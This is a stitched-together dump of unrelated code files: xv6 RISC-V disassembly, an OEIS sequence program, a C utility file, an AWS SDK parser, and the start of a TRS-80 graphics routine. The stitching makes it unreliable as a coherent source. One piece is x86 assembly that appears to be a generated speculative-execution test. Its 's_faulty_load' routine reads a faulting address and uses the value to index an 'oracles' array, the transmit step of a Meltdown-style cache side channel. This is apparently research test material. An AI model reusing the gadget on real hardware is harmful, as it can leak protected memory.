printptr(fd, va_arg(ap, uint64));
570: 008b0793 addi a5,s6,8
574: f8f43423 sd a5,-120(s0)
578: 000b3983 ld s3,0(s6)
putc(fd, '0');
57c: 03000593 li a1,48
580: 8556 mv a0,s5
582: 00000097 auipc ra,0x0
586: e14080e7 jalr -492(ra) # 396 <putc>
putc(fd, 'x');
58a: 85ea mv a1,s10
58c: 8556 mv a0,s5
58e: 00000097 auipc ra,0x0
592: e08080e7 jalr -504(ra) # 396 <putc>
596: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
598: 03c9d793 srli a5,s3,0x3c
59c: 97de add a5,a5,s7
59e: 0007c583 lbu a1,0(a5)
5a2: 8556 mv a0,s5
5a4: 00000097 auipc ra,0x0
5a8: df2080e7 jalr -526(ra) # 396 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
5ac: 0992 slli s3,s3,0x4
5ae: 397d addiw s2,s2,-1
5b0: fe0914e3 bnez s2,598 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
5b4: f8843b03 ld s6,-120(s0)
state = 0;
5b8: 4981 li s3,0
5ba: b721 j 4c2 <vprintf+0x60>
s = va_arg(ap, char*);
5bc: 008b0993 addi s3,s6,8
5c0: 000b3903 ld s2,0(s6)
if(s == 0)
5c4: 02090163 beqz s2,5e6 <vprintf+0x184>
while(*s != 0){
5c8: 00094583 lbu a1,0(s2)
5cc: c9a1 beqz a1,61c <vprintf+0x1ba>
putc(fd, *s);
5ce: 8556 mv a0,s5
5d0: 00000097 auipc ra,0x0
5d4: dc6080e7 jalr -570(ra) # 396 <putc>
s++;
5d8: 0905 addi s2,s2,1
while(*s != 0){
5da: 00094583 lbu a1,0(s2)
5de: f9e5 bnez a1,5ce <vprintf+0x16c>
s = va_arg(ap, char*);
5e0: 8b4e mv s6,s3
state = 0;
5e2: 4981 li s3,0
5e4: bdf9 j 4c2 <vprintf+0x60>
s = "(null)";
5e6: 00000917 auipc s2,0x0
5ea: 26290913 addi s2,s2,610 # 848 <malloc+0x11c>
while(*s != 0){
5ee: 02800593 li a1,40
5f2: bff1 j 5ce <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
5f4: 008b0913 addi s2,s6,8
5f8: 000b4583 lbu a1,0(s6)
5fc: 8556 mv a0,s5
5fe: 00000097 auipc ra,0x0
602: d98080e7 jalr -616(ra) # 396 <putc>
606: 8b4a mv s6,s2
state = 0;
608: 4981 li s3,0
60a: bd65 j 4c2 <vprintf+0x60>
putc(fd, c);
60c: 85d2 mv a1,s4
60e: 8556 mv a0,s5
610: 00000097 auipc ra,0x0
614: d86080e7 jalr -634(ra) # 396 <putc>
state = 0;
618: 4981 li s3,0
61a: b565 j 4c2 <vprintf+0x60>
s = va_arg(ap, char*);
61c: 8b4e mv s6,s3
state = 0;
61e: 4981 li s3,0
620: b54d j 4c2 <vprintf+0x60>
}
}
}
622: 70e6 ld ra,120(sp)
624: 7446 ld s0,112(sp)
626: 74a6 ld s1,104(sp)
628: 7906 ld s2,96(sp)
62a: 69e6 ld s3,88(sp)
62c: 6a46 ld s4,80(sp)
62e: 6aa6 ld s5,72(sp)
630: 6b06 ld s6,64(sp)
632: 7be2 ld s7,56(sp)
634: 7c42 ld s8,48(sp)
636: 7ca2 ld s9,40(sp)
638: 7d02 ld s10,32(sp)
63a: 6de2 ld s11,24(sp)
63c: 6109 addi sp,sp,128
63e: 8082 ret
0000000000000640 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
640: 715d addi sp,sp,-80
642: ec06 sd ra,24(sp)
644: e822 sd s0,16(sp)
646: 1000 addi s0,sp,32
648: e010 sd a2,0(s0)
64a: e414 sd a3,8(s0)
64c: e818 sd a4,16(s0)
64e: ec1c sd a5,24(s0)
650: 03043023 sd a6,32(s0)
654: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
658: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
65c: 8622 mv a2,s0
65e: 00000097 auipc ra,0x0
662: e04080e7 jalr -508(ra) # 462 <vprintf>
}
666: 60e2 ld ra,24(sp)
668: 6442 ld s0,16(sp)
66a: 6161 addi sp,sp,80
66c: 8082 ret
000000000000066e <printf>:
void
printf(const char *fmt, ...)
{
66e: 711d addi sp,sp,-96
670: ec06 sd ra,24(sp)
672: e822 sd s0,16(sp)
674: 1000 addi s0,sp,32
676: e40c sd a1,8(s0)
678: e810 sd a2,16(s0)
67a: ec14 sd a3,24(s0)
67c: f018 sd a4,32(s0)
67e: f41c sd a5,40(s0)
680: 03043823 sd a6,48(s0)
684: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
688: 00840613 addi a2,s0,8
68c: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
690: 85aa mv a1,a0
692: 4505 li a0,1
694: 00000097 auipc ra,0x0
698: dce080e7 jalr -562(ra) # 462 <vprintf>
}
69c: 60e2 ld ra,24(sp)
69e: 6442 ld s0,16(sp)
6a0: 6125 addi sp,sp,96
6a2: 8082 ret
00000000000006a4 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6a4: 1141 addi sp,sp,-16
6a6: e422 sd s0,8(sp)
6a8: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
6aa: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6ae: 00000797 auipc a5,0x0
6b2: 1ba7b783 ld a5,442(a5) # 868 <freep>
6b6: a805 j 6e6 <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6b8: 4618 lw a4,8(a2)
6ba: 9db9 addw a1,a1,a4
6bc: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
6c0: 6398 ld a4,0(a5)
6c2: 6318 ld a4,0(a4)
6c4: fee53823 sd a4,-16(a0)
6c8: a091 j 70c <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6ca: ff852703 lw a4,-8(a0)
6ce: 9e39 addw a2,a2,a4
6d0: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
6d2: ff053703 ld a4,-16(a0)
6d6: e398 sd a4,0(a5)
6d8: a099 j 71e <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6da: 6398 ld a4,0(a5)
6dc: 00e7e463 bltu a5,a4,6e4 <free+0x40>
6e0: 00e6ea63 bltu a3,a4,6f4 <free+0x50>
{
6e4: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6e6: fed7fae3 bgeu a5,a3,6da <free+0x36>
6ea: 6398 ld a4,0(a5)
6ec: 00e6e463 bltu a3,a4,6f4 <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6f0: fee7eae3 bltu a5,a4,6e4 <free+0x40>
if(bp + bp->s.size == p->s.ptr){
6f4: ff852583 lw a1,-8(a0)
6f8: 6390 ld a2,0(a5)
6fa: 02059713 slli a4,a1,0x20
6fe: 9301 srli a4,a4,0x20
700: 0712 slli a4,a4,0x4
702: 9736 add a4,a4,a3
704: fae60ae3 beq a2,a4,6b8 <free+0x14>
bp->s.ptr = p->s.ptr;
708: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
70c: 4790 lw a2,8(a5)
70e: 02061713 slli a4,a2,0x20
712: 9301 srli a4,a4,0x20
714: 0712 slli a4,a4,0x4
716: 973e add a4,a4,a5
718: fae689e3 beq a3,a4,6ca <free+0x26>
} else
p->s.ptr = bp;
71c: e394 sd a3,0(a5)
freep = p;
71e: 00000717 auipc a4,0x0
722: 14f73523 sd a5,330(a4) # 868 <freep>
}
726: 6422 ld s0,8(sp)
728: 0141 addi sp,sp,16
72a: 8082 ret
000000000000072c <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
72c: 7139 addi sp,sp,-64
72e: fc06 sd ra,56(sp)
730: f822 sd s0,48(sp)
732: f426 sd s1,40(sp)
734: f04a sd s2,32(sp)
736: ec4e sd s3,24(sp)
738: e852 sd s4,16(sp)
73a: e456 sd s5,8(sp)
73c: e05a sd s6,0(sp)
73e: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
740: 02051493 slli s1,a0,0x20
744: 9081 srli s1,s1,0x20
746: 04bd addi s1,s1,15
748: 8091 srli s1,s1,0x4
74a: 0014899b addiw s3,s1,1
74e: 0485 addi s1,s1,1
if((prevp = freep) == 0){
750: 00000517 auipc a0,0x0
754: 11853503 ld a0,280(a0) # 868 <freep>
758: c515 beqz a0,784 <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
75a: 611c ld a5,0(a0)
if(p->s.size >= nunits){
75c: 4798 lw a4,8(a5)
75e: 02977f63 bgeu a4,s1,79c <malloc+0x70>
762: 8a4e mv s4,s3
764: 0009871b sext.w a4,s3
768: 6685 lui a3,0x1
76a: 00d77363 bgeu a4,a3,770 <malloc+0x44>
76e: 6a05 lui s4,0x1
770: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
774: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
778: 00000917 auipc s2,0x0
77c: 0f090913 addi s2,s2,240 # 868 <freep>
if(p == (char*)-1)
780: 5afd li s5,-1
782: a88d j 7f4 <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
784: 00000797 auipc a5,0x0
788: 0ec78793 addi a5,a5,236 # 870 <base>
78c: 00000717 auipc a4,0x0
790: 0cf73e23 sd a5,220(a4) # 868 <freep>
794: e39c sd a5,0(a5)
base.s.size = 0;
796: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
79a: b7e1 j 762 <malloc+0x36>
if(p->s.size == nunits)
79c: 02e48b63 beq s1,a4,7d2 <malloc+0xa6>
p->s.size -= nunits;
7a0: 4137073b subw a4,a4,s3
7a4: c798 sw a4,8(a5)
p += p->s.size;
7a6: 1702 slli a4,a4,0x20
7a8: 9301 srli a4,a4,0x20
7aa: 0712 slli a4,a4,0x4
7ac: 97ba add a5,a5,a4
p->s.size = nunits;
7ae: 0137a423 sw s3,8(a5)
freep = prevp;
7b2: 00000717 auipc a4,0x0
7b6: 0aa73b23 sd a0,182(a4) # 868 <freep>
return (void*)(p + 1);
7ba: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
7be: 70e2 ld ra,56(sp)
7c0: 7442 ld s0,48(sp)
7c2: 74a2 ld s1,40(sp)
7c4: 7902 ld s2,32(sp)
7c6: 69e2 ld s3,24(sp)
7c8: 6a42 ld s4,16(sp)
7ca: 6aa2 ld s5,8(sp)
7cc: 6b02 ld s6,0(sp)
7ce: 6121 addi sp,sp,64
7d0: 8082 ret
prevp->s.ptr = p->s.ptr;
7d2: 6398 ld a4,0(a5)
7d4: e118 sd a4,0(a0)
7d6: bff1 j 7b2 <malloc+0x86>
hp->s.size = nu;
7d8: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
7dc: 0541 addi a0,a0,16
7de: 00000097 auipc ra,0x0
7e2: ec6080e7 jalr -314(ra) # 6a4 <free>
return freep;
7e6: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
7ea: d971 beqz a0,7be <malloc+0x92>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7ec: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7ee: 4798 lw a4,8(a5)
7f0: fa9776e3 bgeu a4,s1,79c <malloc+0x70>
if(p == freep)
7f4: 00093703 ld a4,0(s2)
7f8: 853e mv a0,a5
7fa: fef719e3 bne a4,a5,7ec <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
7fe: 8552 mv a0,s4
800: 00000097 auipc ra,0x0
804: b76080e7 jalr -1162(ra) # 376 <sbrk>
if(p == (char*)-1)
808: fd5518e3 bne a0,s5,7d8 <malloc+0xac>
return 0;
80c: 4501 li a0,0
80e: bf45 j 7be <malloc+0x92>
|
; A035336: a(n) = 2*floor(n*phi) + n - 1, where phi = (1+sqrt(5))/2.
; 2,7,10,15,20,23,28,31,36,41,44,49,54,57,62,65,70,75,78,83,86,91,96,99,104,109,112,117,120,125,130,133,138,143,146,151,154,159,164,167,172,175,180,185,188,193,198,201,206,209,214,219,222,227,230,235,240,243,248,253,256,261,264,269,274,277,282,287,290,295,298,303,308,311,316,319,324,329,332,337,342,345,350,353,358,363,366,371,376,379,384,387,392,397,400,405,408,413,418,421,426,431,434,439,442,447,452,455,460,463,468,473,476,481,486,489,494,497,502,507,510,515,520,523,528,531,536,541,544,549,552,557,562,565,570,575,578,583,586,591,596,599,604,607,612,617,620,625,630,633,638,641,646,651,654,659,664,667,672,675,680,685,688,693,696,701,706,709,714,719,722,727,730,735,740,743,748,753,756,761,764,769,774,777,782,785,790,795,798,803,808,811,816,819,824,829,832,837,840,845,850,853,858,863,866,871,874,879,884,887,892,897,900,905,908,913,918,921,926,929,934,939,942,947,952,955,960,963,968,973,976,981,986,989,994,997,1002,1007,1010,1015,1018,1023,1028,1031,1036,1041,1044,1049,1052,1057
mov $2,$0
mov $4,$0
add $0,1
pow $0,2
add $2,3
lpb $0,1
add $0,1
mov $1,$0
mov $0,0
add $1,2
add $2,2
trn $1,$2
add $0,$1
lpe
mov $1,$2
sub $1,3
mov $3,$4
mul $3,2
add $1,$3
|
/*
* myUtil.cpp
*
* Created on: 2016/10/02
* Author: ryota
*/
#include <myUtil.h>
#include <stdio.h>
#include <stdint.h>
int16_t concatenate2Byte_int(uint8_t H_byte, uint8_t L_byte) {
int32_t con;
con = L_byte + (H_byte<<8);
if (con > 32767) {
con -= 65536;
}
return (int16_t)con;
}
uint16_t concatenate2Byte_uint(uint8_t H_byte, uint8_t L_byte) {
int32_t con;
con = L_byte + (H_byte<<8);
return (uint16_t)con;
}
uint32_t concatenate4Byte_uint(uint8_t byte3, uint8_t byte2, uint8_t byte1, uint8_t byte0) {
uint32_t con;
con = (byte3 << 24) + (byte2 << 16) + (byte1 << 8) + byte0;
return con;
}
void quickSort_int16(int16_t numbers[], uint32_t left, uint32_t right) {
uint32_t pivot, l_hold, r_hold;
l_hold = left;
r_hold = right;
pivot = numbers[left];
while (left < right) {
while ((numbers[right] >= pivot) && (left < right))
right--;
if (left != right) {
numbers[left] = numbers[right];
left++;
}
while ((numbers[left] <= pivot) && (left < right))
left++;
if (left != right) {
numbers[right] = numbers[left];
right--;
}
}
numbers[left] = pivot;
pivot = left;
left = l_hold;
right = r_hold;
if (left < pivot)
quickSort_int16(numbers, left, pivot-1);
if (right > pivot)
quickSort_int16(numbers, pivot+1, right);
}
void quickSort_float(float numbers[], uint32_t left, uint32_t right) {
float pivot, l_hold, r_hold;
l_hold = left;
r_hold = right;
pivot = numbers[left];
while (left < right) {
while ((numbers[right] >= pivot) && (left < right))
right--;
if (left != right) {
numbers[left] = numbers[right];
left++;
}
while ((numbers[left] <= pivot) && (left < right))
left++;
if (left != right) {
numbers[right] = numbers[left];
right--;
}
}
numbers[left] = pivot;
pivot = left;
left = l_hold;
right = r_hold;
if (left < pivot)
quickSort_float(numbers, left, pivot-1);
if (right > pivot)
quickSort_float(numbers, pivot+1, right);
}
float constrain(float amt, float low, float high) {
if(amt > high) return high;
else if(amt < low) return low;
else return amt;
}
float constrainH(float amt, float high) {
if(amt > high) return high;
else return amt;
}
float constrainL(float amt, float low) {
if(amt < low) return low;
else return amt;
}
uint8_t byteH(uint16_t val) {
return (0x0000ff00 & val) >> 8;
}
uint8_t byteL(uint16_t val) {
return (0x000000ff & val);
}
uint32_t xor32(void) {
static uint32_t y = 2463534242;
y = y ^ (y << 13);
y = y ^ (y >> 17);
return y = y ^ (y << 5);
}
uint32_t xor64(void) {
static uint64_t x = 88172645463325252ULL;
x = x ^ (x << 13);
x = x ^ (x >> 7);
return x = x ^ (x << 17);
}
uint32_t xor96(void) {
static uint32_t x = 123456789;
static uint32_t y = 362436069;
static uint32_t z = 521288629;
uint32_t t;
t = (x ^ (x << 3)) ^ (y ^ (y >> 19)) ^ (z ^ (z << 6));
x = y;
y = z;
return z = t;
}
uint32_t xor128(void) {
static uint32_t x = 123456789;
static uint32_t y = 362436069;
static uint32_t z = 521288629;
static uint32_t w = 88675123;
uint32_t t;
t = x ^ (x << 11);
x = y;
y = z;
z = w;
return w = (w ^ (w >> 19)) ^ (t ^ (t >> 8));
}
uint32_t shortFreqNoise() {
static uint32_t reg = 0x8000;
//以下の3行を回す。
// shortFreqは、短周期フラグ。1にすると有効になる。
// これで得られるoutputの値が、ノイズチャンネルの波形。
uint32_t shortFreq = 1;
reg >>= 1;
reg |= ((reg ^ (reg >> (shortFreq ? 6 : 1))) & 1) << 15;
return reg & 1;
}
uint32_t longFreqNoise() {
static uint32_t reg = 0x8000;
//以下の3行を回す。
// shortFreqは、短周期フラグ。1にすると有効になる。
// これで得られるoutputの値が、ノイズチャンネルの波形。
uint32_t shortFreq = 0;
reg >>= 1;
reg |= ((reg ^ (reg >> (shortFreq ? 6 : 1))) & 1) << 15;
return reg & 1;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xa8d6, %rbx
nop
nop
nop
add $55301, %rsi
movb (%rbx), %al
nop
nop
nop
cmp $42374, %rdi
lea addresses_normal_ht+0x42d6, %rsi
lea addresses_UC_ht+0x12d93, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $39825, %r10
mov $68, %rcx
rep movsq
sub %rax, %rax
lea addresses_WC_ht+0x82d6, %rsi
lea addresses_WT_ht+0xba96, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add %rbp, %rbp
mov $126, %rcx
rep movsw
nop
nop
nop
xor %rbx, %rbx
lea addresses_normal_ht+0x22d6, %rsi
lea addresses_UC_ht+0x116d6, %rdi
nop
nop
xor %r14, %r14
mov $63, %rcx
rep movsb
nop
xor $39203, %r14
lea addresses_D_ht+0x9d98, %rsi
lea addresses_WC_ht+0x91d6, %rdi
nop
dec %rax
mov $74, %rcx
rep movsq
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0x11656, %rsi
lea addresses_D_ht+0x12d6, %rdi
clflush (%rdi)
nop
cmp %rbp, %rbp
mov $60, %rcx
rep movsl
dec %rbp
lea addresses_D_ht+0x1dcb0, %rsi
nop
nop
nop
nop
and %rbp, %rbp
mov (%rsi), %cx
nop
nop
add %rbx, %rbx
lea addresses_WT_ht+0x1a50e, %r10
nop
nop
nop
nop
nop
and %rbp, %rbp
vmovups (%r10), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
nop
nop
inc %r14
lea addresses_UC_ht+0x7b98, %rsi
lea addresses_WC_ht+0x32d6, %rdi
inc %rax
mov $115, %rcx
rep movsq
nop
xor $51913, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rsi
// Load
lea addresses_WT+0x3ad6, %r14
nop
sub %r11, %r11
mov (%r14), %ax
nop
add $9503, %r14
// Store
lea addresses_A+0x2ad6, %r11
nop
add $40553, %rcx
movb $0x51, (%r11)
nop
sub $56260, %r8
// Store
lea addresses_WT+0xf92e, %r8
nop
nop
nop
add %r14, %r14
movb $0x51, (%r8)
nop
nop
nop
nop
nop
dec %rax
// Store
lea addresses_WT+0x3ad6, %r8
nop
nop
nop
nop
xor $11071, %rcx
mov $0x5152535455565758, %r13
movq %r13, (%r8)
sub $15811, %rax
// Store
lea addresses_WC+0xb46e, %r8
nop
nop
nop
inc %r11
mov $0x5152535455565758, %r14
movq %r14, (%r8)
add %r13, %r13
// Store
lea addresses_WT+0x13a56, %r13
nop
nop
sub $50839, %rsi
mov $0x5152535455565758, %r11
movq %r11, (%r13)
xor %rax, %rax
// Load
lea addresses_PSE+0x130d6, %r14
nop
nop
nop
nop
nop
sub $2779, %r11
movups (%r14), %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
nop
nop
add $5830, %rcx
// Store
lea addresses_WT+0x6436, %rsi
nop
nop
nop
and %r14, %r14
mov $0x5152535455565758, %r11
movq %r11, %xmm4
movups %xmm4, (%rsi)
nop
add $22932, %rcx
// Faulty Load
lea addresses_WT+0x3ad6, %rsi
nop
nop
nop
nop
and $65079, %rax
mov (%rsi), %r8w
lea oracles, %rsi
and $0xff, %r8
shlq $12, %r8
mov (%rsi,%r8,1), %r8
pop %rsi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'58': 1226}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/lightsail/model/GetStaticIpResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::Lightsail::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
GetStaticIpResult::GetStaticIpResult()
{
}
GetStaticIpResult::GetStaticIpResult(const AmazonWebServiceResult<JsonValue>& result)
{
*this = result;
}
GetStaticIpResult& GetStaticIpResult::operator =(const AmazonWebServiceResult<JsonValue>& result)
{
const JsonValue& jsonValue = result.GetPayload();
if(jsonValue.ValueExists("staticIp"))
{
m_staticIp = jsonValue.GetObject("staticIp");
}
return *this;
}
|
; Version for the TRS-80 Model 4 with hires graphics board.
;
; With the hires board the Model 4 is capable of 640 x 240 but this largely
; copies the Spectrum routine rendering at 256 x 240 and then doubling
; the pixels horizontally to correct the pixel aspect ratio.
;
; Need to do the full 640 pixels across and adjust the scene to better
; fix in the new viewport.
;
; Suggest zmac to build and trs80gp to emulate.
; http://48k.ca/zmac.html
; http://48k.ca/trs80gp.html
;
; zmac trs80-m4.asm
; trs80gp -m4c zout\trs80-m4.bds
;
ORG $6000
scan: di
xor a
out ($84),a
out ($8d),a
out ($8c),a
ld a,$b3 ; X++ on write
out ($83),a
ld b,239
rowlp: ld a,b
out ($81),a
ld a,(80-64)/2
out ($80),a
ld c,0
